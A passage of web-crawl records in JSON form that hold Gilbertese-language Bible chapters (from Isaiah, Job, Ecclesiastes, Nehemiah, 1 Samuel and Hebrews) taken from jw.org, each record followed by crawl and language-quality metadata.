are te kanikina,\" bon ana taeka Iehova,Are e mena ana oota* i Tion ao nnen ana ai i Ierutarem.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/31\/","date":"2018-01-16T16:34:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00549.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":404,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n62 N na aki teimatoa ni kainabwabu ibukin Tion,+Ao N na teimatoa ni kakammwakuri ibukin Ierutarem,Ni karokoa ae e ootanako raoiroin neiei n aron te oota ae takiakia,+Ao e ura kamaiuana n aron te oi.+ 2 \"Ngkoe ae te aine, a na nora raoiroim natannaomata,+Ao karineam ueea ni kabane.+ Ao ko na aranaki n te ara ae boou+Ae e na katokaa oini win Iehova. 3 Ko na riki bwa te baunuea ae tamaroa i bain Iehova,Ao te bwara n uea ae te kunnikai i nanoni bain Atuam. 4 Ko na aki manga aranaki bwa te aine ae kitanaki,+Ao e na aki manga aranaki abam bwa e kamaroaeaki.+ Ma ko na aranaki bwa \"I Rangi ni Kimwareirei Iroun Neiei,\"+Ao e na aranaki abam bwa \"Neie e a Tia ni Mare.\" Bwa e na rangi ni kimwareirei Iehova iroum,Ao e na riki abam bwa kaanga te aine ae e a tia ni mare. 5 Bwa n aron te rorobuaka n ataei ae mare ma te aine ae tuai ni boo ma te mwaane,Ao a na mare naba natim mwaane ma ngkoe. E na kimwareirei Atuam iroumNi kimwareirein te tia mare te mwaane iroun te tia mare te aine.+ 6 I mwiokoiia taan tantani i aon nako am oo ngkoe ae Ierutarem. A riai n teimatoa n aki kainabwabu ni kabongnga ao ni kangainaa. Tai motirawaNgkami aika kam tataekina Iehova, 7 Ao tai anganna te motirawa teutana ni karokoa ae e katea Ierutarem ni kamatoaa,Eng, ni karokoa ae e karika neiei bwa te bwai ni kamoamoaaki n te aonnaba.\"+ 8 E a tia Iehova ni berita n te taetae n tuea ni baina ae te atai, n anganibaina ae korakora, ni kangai: \"N na aki manga anga am uita* bwa kanaia taani kairiribai nakoim,Ao a na aki naba moi ianena n am wain ae boou are ko korakai ni mwakuria.+ 9 Ma a na kanna te koraki ake a ikotia, ao a na karaoiroa Iehova,Ao a na moi iai te koraki ake a rikoi, i nanon au katawanang aika tabu.\"+ 10 Rinanoni mataroan te oo, rinanona. Kamwawaa kawaia aomata.+ Karaoa te kawai ae totouaki, karaoia. Kanakoi atibu mai iai.+ Katea te kanikina* ibukia botannaomata.+ 11 Noria! E katanoataa ae kangai Iehova nako tabon nako aonnaba: \"Kangai nakon natin Tion te aine,'Noria! E a roko kamaiuam.+ Noria! E mena ana kaniwanga irouna,Ao e mena i matana te boo are e kabwakaa.'\"+ 12 A na aranaki bwa aomata aika itiaki,* ake te koraki ake a a manga kabooaki iroun Iehova,+Ao ko na aranaki bwa \"Ukoukoraki,\" ao \"te Kaawa ae Aki Kitanaki.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/62\/","date":"2018-01-21T17:56:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890795.64\/warc\/CC-MAIN-20180121155718-20180121175718-00263.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":448,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n15 E kaeka ni kangai Eribati+ are te I-Teman: 2 \"E na kaeka te aomata ae wanawana ni kauntaeka aika akea uaaia,*Ke e na kaona birotona n te angimainiku? 3 Boaakin te aba n tii taian taeka bon akea bongana,Ao te taetaenikawai n tii ngaia bon akea manenana. 4 Bwa ko kamangora maakakin te Atua,Ao ko kamakeenakoa mutiakinan te Atua. 5 Bwa am kairua e kairiko n te bwai ae ko na taekinna,*Ao ko rinea te taetaenikawai ae mwamwanaa te aba. 6 Bon oini wim ae kabuakakako, ao tiaki ngai,Bon oin riam ae kaotioti ni kaaitarako.+ 7 Ngkoe te moani mwaane ni bungiaki,Ke ko bungiaki imwain taian tabuki? 8 Ko kakauongo n ana taetaenikawai te Atua aika aki riai n ataaki,Ke tii ngkoe te aomata ae ko wanawana? 9 Tera ae ko ataia ae ti aki ataia?+ Ao tera ae ko ota iai ae ti aki ota iai? 10 A kaai ni mena i buakora te aomata ae e a iaia ma ae e a kara,+Aika mwaane aika rangi n ikawai riki nakon tamam. 11 Ko aki rauaki n ana karaunano te Atua,Ke n taeka aika karauaki n taekinaki nakoim? 12 E aera ngkai e a kairikonako nanom,Ao e aera ngkai a a un matam? 13 Bwa ko katannakoa nanom mairoun te Atua,Ao ko kariaia otinakon aeka n taeka akanne mai wim. 14 Tera te aomata ae mamate ngkai e riai n itiaki,Ke te aomata ae bungiaki mairoun te aine ngkai e riai n raoiroi?+ 15 Noria! E aki onimakinia ana koraki aika itiaki,*Ao e aki itiaki naba karawa i matana.+ 16 Ao ai karakora riki ngkanne ngkana e ribaaki te aomata ao e babakanikawai,+Ae te mwaane ae nima te buakaka n ai aron te ran! 17 N na tuangko ma kakauongo irou! N na karakina te bae I a tia n noria, 18 Ae te bwai ae a karakinna mwaane aika wanawana mairouia tamaia+Aika bwaai aika a aki karabai. 19 Tii ngaiia aika anganaki te aba,Ao akea te ianena ae ribuakoia. 20 E rotaki te aomata ae buakaka n te maraki ni kabane ana bong,I nanon ririki nako ake a kaokoroaki ibukin te tia karawawataa te aba. 21 A mena tangini baika kakamaaku i nanon taningana,+A ewekia taani kuribwai n tain te rau. 22 E aki kakoauaa ae e na reke birinakona man te rotongitong,+E kaokoroaki bwa e na mate n te kabaang. 23 E aiwaa ibukini kakaaean te amwarake*—e mena ia? E ataia raoi bwa e a uakaan te bong ae rotongitong. 24 E teimatoa ni kakamaakua te rawawata ao te maraki,A kataea ana kai n ai aron te uea ae e a tauraoi ni waakina te buaka. 25 Bwa e katea baina n ekaanako te Atua,Ao e kataia ni kaitaraa* Teuare Moan te Mwaaka, 26 E imanono ni waekoa ni kaitaraa,Ma otangana ae matenten ae matoatoa, 27 E buta ubuna n te mwaremware,Ao e matenten te kiriiti i bebeena. 28 E maeka i nanoni kaawa aika a na uruakaki,I nanon auti aika a na aki kaainaki,Aika a na riki bwa bwariko n atibu. 29 E na aki rikirake ni kaubwai ao e na aki ikoiko kaubwaina,Ao a na aki naba kabutaa te aba ana bwai. 30 E na aki reke birinakona man te rotongitong,E na rai mwaangana* n uran te ai,Ao e na maunanako ni korakoran angini win te Atua.+ 31 E aki riai ni burebureaki ao n onimakina te bwai ae akea uaana,Bwa e na bon akea kaniwangana iai, 32 Ao e na riki anne imwain ana bong. Ao a na aki manga maiureirei mwaangana.+ 33 E na katotonga te kai ae te kureebe ae kamrarai uaana aika tuai n tawaa,Ao n ai aron te aroka ae te oriwa ae kabwakai ueena. 34 Bwa e aki karikiuaa te botaki n aomata ae aki maaka te Atua,*+Ao e na bue n te ai aia umwanrianna akana irekereke ma te kamaraato. 35 A bikoukoua te kangaanga ao a bungia te bwai ae buakaka,Ao birotoia e karika te mwamwanaa te aba.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iobi\/15\/","date":"2018-01-23T22:20:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00244.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":661,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 Ma e na aki riki te roo anne bwa kaanga aron are ngke e rawawata iai te aba anne, n aron taai ake rimoa ngke e kabuakakaaki aban Teburun ma aban Nabetari.+ Ma imwina riki E na karaoia bwa e na karineaki, ae taekan te kawai are i rarikin taari n aonon te Ioretan, are Kariraia are abaia ianena. 2 E nora te oota ae abwabwaki Te botannaomata are nakonako n te rotongitong. Ao e ootanako te oota i aoiaTe koraki akana mena n te aba ae mena iai te rotongitong ae korakora.+ 3 Ko kabatiaa mwaitin te natannaomata anne,Ao ko kakorakoraa kimwareireina. A kimwareirei i matamN aroia aomata aika kimwareirei n tain te tai,Ao n aroia te koraki aika kukurei n tibwatibwai bwaai ni kuri. 4 Bwa ko ototei amon uotaia,Are te kai are i aon angaia, are okon te tia kammwakuriia aomata,N aron are n ana bong Mirian.+ 5 A na riki bwa kanaan te aiKauniwae ni kabane aika kamwaeieiea te aonnaba ngkana a mwananga,Ao kunnikai nako aika kamaraaki n te raraa. 6 Bwa e bungiaki te teei nakoira,+Ti anganaki te nati te mwaane,Ao e na mena i aon angana te nakoa n tautaeka.*+ E na aranaki bwa te tia Anga te Reirei ni Kairiri ae Wanawana,+ te Atua ae Mwaaka,+ te Tama ae Akea Tokina, ao te Natinuea ae Karekea te Rau. 7 E na akea tokinRirikiraken ueana* ao te rau,+I aon ana kaintokanuea Tawita+ ao i aon ana tautaeka n uea,Bwa e aonga ni kateia ni kamatoaa+ ao ni kateimatoaRinanon te kaetitaeka ae riai+ ao te raoiroi,+Mangkai ao n aki toki. E na karaoa aei ingaingan nanon Iehova ae Atuaia taanga ni buaka.* 8 E kanakoa te taeka Iehova n ekaanako Iakoba,Ao e roko te taeka anne n ekaanako Iteraera.+ 9 Ao a na bane n ataia aomata,Ake Eberaim ao kaain TamariaAke a kangai i buakoni kainikatongaia ao nanoia aika nanorieta: 10 \"A bwaka buriki,*Ma ti na kateitei n atibu aika ekeaki.+ A koreaki ni kabwakaaki aroka aika tukomorea,Ma ti na onei mwia ni kaai aika tiira.\" 11 Ao Iehova e na kateirakeia taani kakaitaraa Retin bwa a na ekianako,Ao e na kauekei nanoia taani kairiribai nakon teuaei bwa a na waaki, 12 Ae Turia mai mainiku ao I-Biritia mai maeao.*+ A na kabwauta Iteraera ni wia aika ure.+ E bon aki rairakinako unna ibukini baikai ni kabane,Ma e teimatoa n aroraki baina bwa e na oro.+ 13 Bwa a bon aki naba rairaki aomata nakon Teuare oreiia. A aki ukoukora Iehova ae Atuaia taanga ni buaka.+ 14 E na koreaanako te atu ao te buki Iehova mai Iteraera,Ao te bwebwe naba ma uteute aika abwabwaki* n tii tebongina.+ 15 Te atu bon te unimwaane ao te aomata ae rangi ni karineaki,Ao te buki bon te burabeti ae anga te kaetieti ae kewe.+ 16 Te koraki ake a kairiia aomata aikai, a a katiotionakoia,Ao a a mangaongao te koraki ake a kairaki. 17 Anne bukina ae e na aki kimwareirei iai Iehova ibukia aia rorobuaka n ataei,Ao e na aki nanoangaiia aia ataei aika akea tamaia* ao aia aine aika a a tia ni mate buuia. Ibukina bwa bon taan tannako man te koaua ngaiia ni kabane ao taani kakaraoa ae buakaka,+Ao a a bane taiani wi n taekini baika nanobaba. E bon aki rairakinako unna ibukini baikai ni kabane,Ma e teimatoa n aroraki baina bwa e na oro.+ 18 Bwa e bue te buakaka n aron te ai,Ao e kabueki aroka aika kateketeke ma uteute. E na kauraa te ai n taiani buakoako n te buakonikai,Ao a na waerake i buakon te bubu ae korakora. 19 E kaurarakeaki te abaN unin Iehova ae Atuaia taanga ni buaka,Ao a na riki aomata bwa kanaan te ai. Akea temanna ae e na kamaiua naba oin tarina. 20 E na korokorea te amwarake temanna man te angaatai,Ma e na bon teimatoa ni baki,Ao e na amwarake temanna man te angamaing,Ma e na aki rauaki. A na boni kang irikon anganibaia n tatabemania nako, 21 Manate e na kana EberaimAo Eberaim e na kana Manate. A na uaia ni kaitaraa Iuta.+ E bon aki rairakinako unna ibukini baikai ni kabane,Ma e teimatoa n aroraki baina bwa e na oro.+\n^ Ke, \"te tautaeka; ana kairiri n natinuea.\"\n^ Ke, \"ana tautaeka; ana kairiri n natinuea.\"\n^ Ke, \"Tabaota.\" Nora Nanon Taeka.\n^ E kaineti riki aei nakoni buriki ake a karaoaki man te uteute ae mwau ao te bokaboka.\n^ Ebera, \"mai buki.\"\n^ Ke tao, \"mwaangan te baam ao te maunei.\"\n^ Ke, \"aia ataei ake a a tia ni mate aia karo.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/9\/","date":"2018-01-19T05:52:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00354.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":772,"character_repetition_ratio":0.046,"word_repetition_ratio":0.038,"special_characters_ratio":0.234,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Ana taeka te tia ikotiia aomata,*+ ae natin Tawita ae te uea i Ierutarem.+ 2 E taku te tia ikotiia aomata, \"Bon te bwai ae te kabanea n akea manenana!* Bon te bwai ae te kabanea n akea manenana! Akea manenani bwaai nako!\"+ 3 Tera ae e na karekea te aomata man ana mwakuri korakora ni kabane,Ake e korakai ni karaoi i aan taai?+ 4 E nako te rorona ao e a manga roko te rorona,Ma e teimatoa* n aki toki te aonnaba.+ 5 E oti* taai ao e bung taai,Ao e waekoa n okira te tabo are e na manga oti iai.+ 6 E wai nako maiaki te ang ao e katobibi nako meang,E teimatoa ni kakatobibi ni kamronron, e teimatoa te ang ni kakatobibi. 7 A bane karaanga* n raanga nako taari, ma e aki onrake taari.+ A a manga oki karaanga nakon te tabo are a raanga mai iai, bwa a aonga ni manga raanga mai iai.+ 8 A kakua bwaai ni kabane,Ao akea temanna ae kona ni kabwarabwarai. E aki rauaki te mata n taraakina,Ao e aki naba rauaki te taninga n ongoraeakinana. 9 E na bon riki te bwai ae e a tia n riki,Ao e na manga karaoaki te bwai ae e a tia ni karaoaki. Bon akea te bwai ae boou i aan taai.+ 10 Iai te bwai teuana ae e kona ni kangai iai temanna, \"Nora te baei, bon te bwai ae boou\"? Ai kaman iai mangkoa. Ai kaman iai imwain ara tai. 11 Akea temanna ae uringia aomata ake ngkoangkoa,Akea naba ae e na uringia te koraki ake a kaoti rimwi,Ao a na aki naba uringaki irouia te koraki ake a kaoti rimwi riki.+ 12 Ngai ae te tia ikotiia aomata, I riki bwa uean Iteraera i Ierutarem.+ 13 I karekea nanou bwa N na ukeuke ao n neneri ma te wanawana+ bwaai nako ake a karaoaki i aani karawa,+ ae te mwakuri ae karawawata ae e a tia n anga te Atua nakoia natiia aomata, ae a teimatoa ni katabetabeaki iai. 14 I a tia n nori mwakuri ni kabane aika karaoaki i aan taai,Ao noria! akea manenani bwaai nako, bwa boni kaean te ang.+ 15 E aki kona ni kaetaki te bwai ae bwaoua,Ao e aki kona ni warekaki te bwai ae bon akea. 16 Ao I taku i nanou: \"Noria! I a tia ni karekea te wanawana ae rangi ni bati riki i aoia aomata nako ake imwaiu i Ierutarem,+ ao nanou e karekea te wanawana ae rangi ni bati ma te atatai.\"+ 17 I motika nanou nakon ataakin te wanawana ao nakon ataakin te rangirang* ao nakon ataakin te nanobaba,+ ao boni kaean naba te ang te baei. 18 Bwa te wanawana ae bati e karekea te marakinnano ae bati,Mangaia ae ane e karikirakea te atatai ao e karikirakea naba te maraki.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-minita\/1\/","date":"2018-01-23T12:17:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891926.62\/warc\/CC-MAIN-20180123111826-20180123131826-00760.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":492,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n2 N te namwakaina ae Nitian,* n ana ka-20 n ririki+ n tautaeka te Uea ae Atatokititi,+ ao e a kani moi n te wain te uea, ao n aron ae I taneiai iai I tabeka te wain ao I angan te uea.+ Ma I tuai man ubu n nanokawaki mai mwaina i matana. 2 Ngaia are e taku te uea nakoiu: \"E aera ngkai ko a rangi n ubu n nanokawaki ao ko aki aoraki? Akea riki ma tii rawawatan te nano.\" Ao I a rangi ni maaku. 3 Ao I taku nakon te uea: \"E na abwabwaki maiun te uea! E aera ngkai I aki riai n ubu n nanokawaki ngkai e a urubekebeke te kaawa are a kaiiaki iai au bakatibu, ao a a tia ni kabuekaki mataroan oona n te ai?\"+ 4 Ao e taku te uea nakoiu: \"Tera ae ko ukoukoria?\" I aki tabwara ma I a tataro naba nakon Atuani karawa.+ 5 I taku ngkanne nakon te uea: \"Ngkana e kukurei iai te uea, ao ngkana e reke akoan am toro iroum, ao kanakoai nako Iuta, nakon te kaawa are a kaiiaki iai au bakatibu, bwa I aonga ni manga kateia.\"+ 6 E taku ngkanne te uea nakoiu, ao e tekateka i rarikina te ueannaine: \"Maanra mwanangam, ao ko na oki n ningai?\" Mangaia are e kukurei te uea ni kanakoai+ ao I a anganna maanin te tai.+ 7 Ao I taku nakon te uea: \"Ngkana e kukurei iai te uea ao I bia anganaki reeta ibukia kowana ake n te aono are Iteran te Karaanga,*+ bwa a na kariaia bwa N na toua te kawai ae akea te kangaanga iai ni karokoa ae I roko i Iuta, 8 n ikotaki naba ma te reta nakon Ataba are te tia kawakina Ana Buakonikai te Uea, bwa e aonga n anganai kaai ibukin taian tatanga ibukini mataroan oon te Tabo ni Kamaiu+ are n te Auti,* ao ibukin oon te kaawa,+ ao ibukin te auti are N na nako iai.\" Mangaia are e anganai baikai te uea,+ bwa e memena bain Atuau i aou.+ 9 N tokina ao I a roko irouia kowana ake n te aono are Iteran te Karaanga ao I angania ana reta te uea. Ao te uea e kamwanangaia naba ma ngai mataniwi n te taanga ni buaka ao taan toka i aoia aoti. 10 Ngke a ongo taekan aei Tanebarata+ are te Oronaite ma Tobia+ are te mataniwi* are tibun Ammon,+ ao a rangi n aki kukurei ngkai e a roko te aomata temanna bwa e na karaoa ae raoiroi ibukia tibun Iteraera. 11 Imwin te tai ae maan ao I a roko i Ierutarem, ao I tiku iai i nanon tenibong. 12 Ao I teirake ngke e a bong, ngai ma mwaane tabeman ake raou, ao I aki tuanga temanna te baere e karinna i nanou Atuau bwa N na karaoia ibukin Ierutarem, ao akea te man temanna irou ma tii are I toka i aona. 13 Ao I otinako ngke e a bong rinanon te Mataroa ae te Mwarua,+ rimatan Ana Koburake n Ran te Naeta ae Bubura nakoni Mataroan te Bwariko ni Mannang,+ ao I tuoi oon Ierutarem ake a uruaki, ma mataroan oona ake a kabuekaki n te ai.+ 14 Ao I mwananga nakoni Mataroan te Koburake n Ran+ ao nakon Ana Nei te Uea, ao e a aki kona n rikekei te man are I toka i aona bwa e a ribwa. 15 Ma I reitaanako kawaiu ni waerake i nanon te mwarua+ ngke e a bong, ao I teimatoa n tuoa te oo. Imwin anne ao I a oki rikaaki n rin rinanon te Mataroa ae te Mwarua, ao I a oki. 16 A aki ataa te tabo are I nako iai taan tautaeka ake taiani kauoman,+ ao te bwai are I karaoia, bwa I tuai n taekina te bwai teuana nakoia I-Iutaia, ibonga,* bwaanuea, taan tautaeka ake taiani kauoman, ao nikiraia taani mwakuri. 17 N tokina ao I a taku nakoia: \"Kam kona n nora te rawawata ae ti a mena iai, ae aron Ierutarem n urubekebeke, ao mataroan oona ake a a tia ni kabuekaki n te ai. Nakomai, ti na manga katea oon Ierutarem, bwa e aonga n aki reitinako te bwaibwainrang aei.\" 18 Ao I tuangia aroni bain Atuau ni memena i aou,+ ao ana taeka naba te uea ake e taekin nakoiu.+ Ngaia are a taku: \"Ti a teirake ni katea te oo.\" Mangaia are a kakorakoraia* ibukin te mwakuri ae raoiroi.+ 19 Ao ngke a ongo taekan aei Tanebarata are te Oronaite ma Tobia+ are te mataniwi* are tibun Ammon,+ ao Ketem are te I-Arabia,+ ao a a kakanikoira+ ma ni kabuakakaira ao a taku: \"Tera ae kam karaoia? Kam karitei nakon te uea?\"+ 20 Ma I kaeka ni kangai: \"Bon Atuani karawa ae Ngaia ae e na anganira te tokanikai,+ ao ngaira aika ana toro, ti na teirake ni katea te oo. Ma akea ami bwai iai, ao akea naba riaimi, ke kanuringami* i Ierutarem.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/neemia\/2\/","date":"2018-01-19T06:43:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00362.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":852,"character_repetition_ratio":0.045,"word_repetition_ratio":0.024,"special_characters_ratio":0.254,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 Ngke e oki naba ngkekei Tauro mani kaeaia I-Biritia, ao a tuangnga ni kangai: \"Noria! E mena Tawita n rereuan Enikeri.\"+ 2 Mangaia are e kairiia rorobuaka aika 3,000 Tauro, aika rineaki mai buakoia tibun Iteraera ni kabane, ao e nako ni kakaaea Tawita ma ana rorobuaka i aoni bwaa aika katati aika nneia kooti ake n te maunga. 3 Ao e roko Tauro n taiani nne n tiibu aika karaoaki man te atibu i rarikin te kawai, ae iai te nangananga iai ao e rin iai bwa e na nako tinaniku,* ngke a tabe n tekateka Tawita ma ana rorobuaka i kabin riki te nangananga.+ 4 A taku ana rorobuaka Tawita nakoina: \"Aio te bong ae e a kangai iai Iehova nakoim, 'Noria! I a anga nako nanoni baim te tia kairiribai nakoim,+ ao ko kona ni karaoa nakoina te bwai ane ko taku bwa e raoiroi iroum.'\" Mangaia are e teirake Tawita ao e karaurau ni korea rabin ana kunnikai* Tauro. 5 Ma rimwi riki ao e a tatabetabe nanon* Tawita+ ibukina bwa e a tia ni korea rabin ana kunnikai Tauro. 6 E taku nakoia ana rorobuaka: \"Ni kaineti ma ana iango Iehova ao I bon aki kona n iangoa karaoan te baei nakon au toka ae ana kabiraki Iehova, ae tabekani baiu n ekianako, bwa bon ana kabiraki Iehova.\"+ 7 Mangaia are e tukiia* ana rorobuaka n taeka aikai Tawita, ao e aki kariaia bwa a na ekaanako Tauro. Ma e teirake Tauro man te nangananga ao e touaanako kawaina. 8 Ao e teirake Tawita ao e otinako man te nangananga, ao e wewete imwin Tauro ni kangai: \"Au toka ae te uea!\"+ Ngke e tanrikaaki Tauro, ao e katorobubua Tawita ni bobaraaki nako aontano ao e baraaki i aontano. 9 E taku Tawita nakon Tauro: \"E aera ngkai ko ongo n aia taeka rorobuaka ae a kangai, 'Noria! E ukoukora kaikoakam Tawita'?+ 10 N te bong aei ao a a tia matam n nora aron Iehova n anga ngkoe nako nanoni baiu n te nangananga. Ma ngke e taku temanna bwa e na kamateko,+ ao I nanoangaiko ao I taku, 'N na aki tabeka baiu n ekaanako au toka, bwa bon ana kabiraki Iehova.'+ 11 Ao noria tamau, eng, nora rabin am kunnikai ae i baiu, bwa ngke I korea rabin am kunnikai ao I bon aki tiringko. Ko a kona ngkai n noria ao n ataia bwa I bon aki kani kaikoakiko ke ni karitei, ao I tuai ni bure nakoim,+ ngkai ko a ukoukorai bwa ko na anaa maiuu.+ 12 Ke e motikitaeka Iehova i marenau ma ngkoe,+ ao ke e irantangaai Iehova ni karekea kaim,+ ma e na bon aki ekikonako baiu.+ 13 N aron te taeka n rabakau mangkoa are kangai, 'E roko te buakaka mairouia akana buakaka,' ma e na bon aki ekikonako baiu. 14 Ai antai ae e nako n rimwina uean Iteraera? Antai ae ko kaea? Te kamea ae mate? Utin te man?+ 15 Ke e riki Iehova bwa te tia motikitaeka, ao e na motikitaeka i marenau ma ngkoe ao e na neneria ao e na boutokaa au tangitang,+ ma ni motika taekau, ao ni kamaiuai mai nanoni baim.\" 16 N te tai are e toki iai taekinan taeka aikai iroun Tawita nakoina, ao e a taku naba Tauro: \"Bwanaam aei natiu ae Tawita?\"+ Ao e a tang n takarua Tauro. 17 E taku nakon Tawita: \"Ko raoiroi riki nakoiu bwa ko karaoa ae raoiroi nakoiu, ao I kabooa mwina nakoim n te buakaka.+ 18 Eng, n te bong aei ao ko a tia n tuangai taekan te raoiroi are ko a tia ni karaoia ngke ko aki tiringai ngke e a anga ngai Iehova nako nanoni baim.+ 19 Bwa antai te mwaane ae reke irouna aiana ao e kanakoa n aki kaikoakia? E na anganiko kaniwangam ae te bwai ae raoiroi+ Iehova ibukin te bwai ae ko a tia ni karaoia ibukiu n te bong aei. 20 Ao ngkai noria! I ataia bwa ko na bon tautaeka bwa te uea,+ ao e na teimatoa te tautaeka n uea* ae Iteraera i nanoni baim. 21 Ko na taetae n tuea nakoiu ngkai iroun Iehova+ bwa ko na bon aki kamaunaia kanoau* aika imwiu, ao ko na aki naba kamauna arau mani batan tamau.\"+ 22 Mangaia are e taetae n tuea Tawita nakon Tauro, ao imwin anne e a okira mwengana Tauro.+ Ma a waerake Tawita ma ana rorobuaka nakon te nono.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-tamuera\/24\/","date":"2018-01-19T02:13:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00630.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":756,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n3 Mangaia ae taari aika kam itiaki,* aika kam ibuokanibwai n te weteaki* mai karawa,+ iangoa te abotoro* ao te ibonga ae rietata* are ti kaota tauani bukina ae—Iesu.+ 2 E kakaonimaki nakon Teuare mwiokoia,+ n aron naba Mote ni kakaonimaki i nanon ana auti* te Atua.+ 3 Bwa e noraki bwa e riai ni karineaki riki teuaei*+ nakoni Mote, kioina ngkai e mwaiti riki karinean teuare katea te auti nakoni karinean te auti. 4 E koaua bwa a kateaki auti nako iroun te aomata, ma ane e katei bwaai ni kabane bon te Atua. 5 E kakaonimaki Mote n ana mwakuri n tabonibai n ana auti Teuarei, ao e a riki anne bwa te bwai ni kaotioti* ibukini baike a na taekinaki rimwi riki, 6 ma e kakaonimaki Kristo ae te nati,+ n tararuaa ana auti te Atua. Boni ngaira ana auti Teuarei,+ ngkana ti boni kateimatoaira n aki mamaaku n taetae ma n taua ara kantaninga ae ti kamoamoa 